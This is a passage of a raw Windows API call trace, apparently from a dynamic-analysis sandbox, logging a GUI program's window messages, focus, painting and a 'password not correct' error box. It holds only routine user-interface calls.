hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0279.554] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=816, y=593)) returned 1 [0279.554] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0279.554] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0279.554] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0279.555] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.555] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.555] GetFocus () returned 0x1035c [0279.555] SetFocus (hWnd=0x10340) returned 0x1035c [0279.555] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x1 [0279.555] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0279.555] GetCurrentProcessId () returned 0x8d0 [0279.555] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0279.555] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0279.555] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0279.556] SendMessageA (hWnd=0x1035c, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0279.556] SendMessageA (hWnd=0x1035a, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0279.556] SendMessageA (hWnd=0x40338, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0279.556] SendMessageA (hWnd=0xb0168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0279.556] SendMessageA (hWnd=0x60050, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0279.556] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0279.556] GetClientRect (in: hWnd=0x10340, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0279.556] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0279.556] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0279.556] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0279.556] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0279.556] IsIconic (hWnd=0xc0060) returned 0 [0279.556] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0279.556] IsIconic (hWnd=0xc0060) returned 0 [0279.556] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0279.556] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0279.556] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0279.557] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x1035c, lParam=0x0) returned 0x0 [0279.557] GetFocus () returned 0x10340 [0279.557] GetCapture () returned 0x0 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0x50012) returned 0x0 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0279.557] GetKeyState (nVirtKey=18) returned 1 [0279.557] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0279.557] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0279.557] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0279.557] GetCapture () returned 0x10340 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0x50012) returned 0x0 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0279.557] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0279.557] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0279.557] GetCurrentProcessId () returned 0x8d0 [0279.558] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0279.558] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0279.558] GetCursor () returned 0x10003 [0279.558] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0279.558] SetCursor (hCursor=0x10007) returned 0x10003 [0279.558] Sleep (dwMilliseconds=0x2ee) [0280.315] SetCursor (hCursor=0x10003) returned 0x10007 [0280.315] IsIconic (hWnd=0x2024a) returned 0 [0280.315] GetWindowLongA (hWnd=0x2024a, nIndex=-16) returned -1798701056 [0280.315] GetWindowLongA (hWnd=0x2024a, nIndex=-20) returned 256 [0280.315] GetActiveWindow () returned 0xc0060 [0280.316] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0280.316] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromWindow") returned 0x76883150 [0280.316] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0280.316] MonitorFromWindow (hwnd=0xc0060, dwFlags=0x2) returned 0x10001 [0280.317] MonitorFromWindow (hwnd=0x2024a, dwFlags=0x2) returned 0x10001 [0280.317] GetActiveWindow () returned 0xc0060 [0280.317] GetCurrentThreadId () returned 0x8cc [0280.317] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0280.317] IsWindowVisible (hWnd=0x20330) returned 0 [0280.317] IsWindowVisible (hWnd=0x20334) returned 0 [0280.317] IsWindowVisible (hWnd=0xc0060) returned 1 [0280.317] IsWindowEnabled (hWnd=0xc0060) returned 1 [0280.317] EnableWindow (hWnd=0xc0060, bEnable=0) returned 0 [0280.335] GetCapture () returned 0x0 [0280.335] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0280.335] GetCapture () returned 0x0 [0280.336] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0280.336] IsWindowVisible (hWnd=0x80042) returned 0 [0280.336] IsWindowVisible (hWnd=0x2024a) returned 1 [0280.336] IsWindowEnabled (hWnd=0x2024a) returned 1 [0280.336] EnableWindow (hWnd=0x2024a, bEnable=0) returned 0 [0280.336] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0280.336] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0280.336] GetCurrentThreadId () returned 0x8cc [0280.336] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0280.336] IsWindowVisible (hWnd=0x20330) returned 0 [0280.336] IsWindowVisible (hWnd=0x20334) returned 0 [0280.336] IsWindowVisible (hWnd=0xc0060) returned 1 [0280.336] IsWindowEnabled (hWnd=0xc0060) returned 0 [0280.336] IsWindowVisible (hWnd=0x80042) returned 0 [0280.336] IsWindowVisible (hWnd=0x30312) returned 0 [0280.336] IsWindowVisible (hWnd=0x3032a) returned 0 [0280.337] IsWindowVisible (hWnd=0x50048) returned 0 [0280.337] IsWindowVisible (hWnd=0x70044) returned 0 [0280.337] EnumWindows (lpEnumFunc=0x423eac, lParam=0x18f5b0) returned 0 [0280.337] GetWindow (hWnd=0x20330, uCmd=0x4) returned 0x0 [0280.337] GetWindow (hWnd=0x20334, uCmd=0x4) returned 0x0 [0280.337] GetWindow (hWnd=0x301ac, uCmd=0x4) returned 0x301aa [0280.337] GetWindow (hWnd=0x200f2, uCmd=0x4) returned 0x0 [0280.337] GetWindow (hWnd=0x200fa, uCmd=0x4) returned 0x0 [0280.337] GetWindow (hWnd=0x20104, uCmd=0x4) returned 0x0 [0280.337] GetWindow (hWnd=0x101e0, uCmd=0x4) returned 0x0 [0280.337] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x1007c [0280.337] GetWindow (hWnd=0x100a2, uCmd=0x4) returned 0x1007c [0280.337] GetWindow (hWnd=0x1008c, uCmd=0x4) returned 0x1007c [0280.337] GetWindow (hWnd=0x100b8, uCmd=0x4) returned 0x1007c [0280.337] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x1007c [0280.338] GetWindow (hWnd=0x100aa, uCmd=0x4) returned 0x1007c [0280.338] GetWindow (hWnd=0x100a6, uCmd=0x4) returned 0x1007c [0280.338] GetWindow (hWnd=0x10084, uCmd=0x4) returned 0x1007c [0280.338] GetWindow (hWnd=0x1007c, uCmd=0x4) returned 0x0 [0280.338] GetWindow (hWnd=0x101b4, uCmd=0x4) returned 0x201b2 [0280.338] GetWindow (hWnd=0x10118, uCmd=0x4) returned 0x0 [0280.338] GetWindow (hWnd=0x500c2, uCmd=0x4) returned 0x0 [0280.338] GetWindow (hWnd=0x100ba, uCmd=0x4) returned 0x0 [0280.338] GetWindow (hWnd=0xc0060, uCmd=0x4) returned 0x80042 [0280.338] GetWindow (hWnd=0x80042, uCmd=0x4) returned 0x2024a [0280.338] GetWindowLongA (hWnd=0x80042, nIndex=-20) returned 256 [0280.338] IsWindowVisible (hWnd=0x30312) returned 0 [0280.338] IsWindowVisible (hWnd=0x3032a) returned 0 [0280.338] IsWindowVisible (hWnd=0x50048) returned 0 [0280.338] IsWindowVisible (hWnd=0x70044) returned 0 [0280.338] MessageBoxA (hWnd=0x2024a, lpText="The password you entered is not correct. Please try again.", lpCaption="Error", uType=0x30) returned 1 [0280.341] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0280.346] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x0, lParam=0x50250) returned 0x1 [0280.348] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0280.348] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0280.348] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0280.349] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x50362, lParam=0x0) returned 0x0 [0280.349] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0280.350] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0280.350] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.357] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.357] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0280.357] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0280.357] GetSysColor (nIndex=8) returned 0x0 [0280.357] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0280.357] GetSysColor (nIndex=5) returned 0xffffff [0280.357] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0280.357] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0280.357] FillRect (hDC=0x9010b6a, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0280.358] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x9010b6a, lParam=0x4) returned 0x0 [0280.358] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0280.358] FillRect (hDC=0x3301018c, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0280.358] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3301018c, lParam=0x4) returned 0x0 [0280.359] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x28010ba3, lParam=0x1035c) returned 0x2f100178 [0280.359] GetSysColor (nIndex=8) returned 0x0 [0280.359] SetTextColor (hdc=0x28010ba3, color=0x0) returned 0x0 [0280.359] GetSysColor (nIndex=5) returned 0xffffff [0280.359] SetBkColor (hdc=0x28010ba3, color=0xffffff) returned 0xffffff [0280.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0280.359] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef04 | out: lpdwProcessId=0x18ef04) returned 0x8cc [0280.359] GetCurrentProcessId () returned 0x8d0 [0280.359] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0280.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f174) returned 0x0 [0280.360] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.360] GetClientRect (in: hWnd=0x10340, lpRect=0x18ee64 | out: lpRect=0x18ee64) returned 1 [0280.360] FillRect (hDC=0x1b0106ca, lprc=0x18ee64, hbr=0xe100186) returned 1 [0280.360] IsIconic (hWnd=0xc0060) returned 0 [0280.360] IsIconic (hWnd=0xc0060) returned 0 [0280.360] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0280.360] FillRect (hDC=0x3d01069e, lprc=0x18ed44, hbr=0xe100186) returned 1 [0280.360] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0280.361] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0280.361] GetSysColor (nIndex=8) returned 0x0 [0280.361] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0280.361] GetSysColor (nIndex=15) returned 0xf0f0f0 [0280.361] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0280.361] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0280.361] GetCurrentProcessId () returned 0x8d0 [0280.361] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0280.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0280.361] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0280.361] GetCurrentProcessId () returned 0x8d0 [0280.361] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0280.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0280.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0280.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0280.362] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0280.371] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.409] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.409] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x14040b6d, lParam=0x0) returned 0x1 [0280.409] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0280.409] GetSysColor (nIndex=8) returned 0x0 [0280.409] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0280.409] GetSysColor (nIndex=5) returned 0xffffff [0280.409] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0280.424] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.449] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.462] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.472] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.472] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x4a0401c5, lParam=0x0) returned 0x1 [0280.472] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0280.472] GetSysColor (nIndex=8) returned 0x0 [0280.472] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0280.472] GetSysColor (nIndex=5) returned 0xffffff [0280.473] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0280.475] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.478] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.492] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0280.522] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.522] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x32040b94, lParam=0x0) returned 0x1 [0280.522] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0280.522] GetSysColor (nIndex=8) returned 0x0 [0280.522] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0280.522] GetSysColor (nIndex=5) returned 0xffffff [0280.523] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0280.538] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.585] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0280.585] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1d040b6d, lParam=0x0) returned 0x1 [0280.585] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0280.585] GetSysColor (nIndex=8) returned 0x0 [0280.585] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0280.585] GetSysColor (nIndex=5) returned 0xffffff [0280.585] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0280.602] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.669] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0280.693] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0xa5040b89, lParam=0x0) returned 0x1 [0280.693] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0280.693] GetSysColor (nIndex=8) returned 0x0 [0280.693] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0280.693] GetSysColor (nIndex=5) returned 0xffffff [0280.693] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0280.696] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9bc | out: lpRect=0x18e9bc) returned 1 [0280.696] FillRect (hDC=0x3401018c, lprc=0x18e9bc, hbr=0xe100186) returned 1 [0280.696] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3401018c, lParam=0x4) returned 0x0 [0280.696] GetClientRect (in: hWnd=0x1035c, lpRect=0x18ee54 | out: lpRect=0x18ee54) returned 1 [0280.696] FillRect (hDC=0x2a010b57, lprc=0x18ee54, hbr=0x2f100178) returned 1 [0280.698] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0280.698] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0280.698] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0280.698] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x1, lParam=0x50250) returned 0x1 [0280.699] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x1, lParam=0x50250) returned 0x0 [0280.700] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0280.700] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0280.700] PostMessageA (hWnd=0x2024a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 1 [0280.700] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7, wParam=0x50250, lParam=0x0) returned 0x0 [0280.701] IsWindow (hWnd=0x2024a) returned 1 [0280.701] EnableWindow (hWnd=0x2024a, bEnable=1) returned 1 [0280.701] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0280.702] IsWindow (hWnd=0xc0060) returned 1 [0280.702] EnableWindow (hWnd=0xc0060, bEnable=1) returned 1 [0280.702] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0280.702] SetActiveWindow (hWnd=0xc0060) returned 0x2024a [0280.702] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x0, lParam=0xc0060) returned 0x1 [0280.702] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x0, lParam=0xc0060) returned 0x0 [0280.702] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0280.703] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0280.703] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0280.703] IsIconic (hWnd=0xc0060) returned 0 [0280.703] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0280.703] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0280.703] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0280.704] IsIconic (hWnd=0x80042) returned 0 [0280.704] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0280.704] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0280.704] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0280.705] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x1, lParam=0x2024a) returned 0x1 [0280.706] SetFocus (hWnd=0x10340) returned 0x2024a [0280.706] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x0 [0280.706] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0280.706] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0280.707] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0280.707] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0280.707] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x2024a, lParam=0x0) returned 0x0 [0280.707] GetFocus () returned 0x10340 [0280.707] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0280.707] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0280.707] SetFocus (hWnd=0x1035c) returned 0x10340 [0280.707] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x1035c, lParam=0x0) returned 0x0 [0280.707] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0280.708] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0280.708] SendMessageA (hWnd=0x10340, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0280.708] SendMessageA (hWnd=0x60050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0280.708] SendMessageA (hWnd=0xb0168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0280.708] SendMessageA (hWnd=0x40338, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0280.708] SendMessageA (hWnd=0x1035a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0280.708] SendMessageA (hWnd=0x1035c, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0280.708] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1409351904 [0280.708] SendMessageA (hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0280.708] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0280.708] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f684 | out: lpRect=0x18f684) returned 1 [0280.708] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0280.708] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0280.708] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0280.708] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0280.708] IsIconic (hWnd=0xc0060) returned 0 [0280.708] GetClientRect (in: 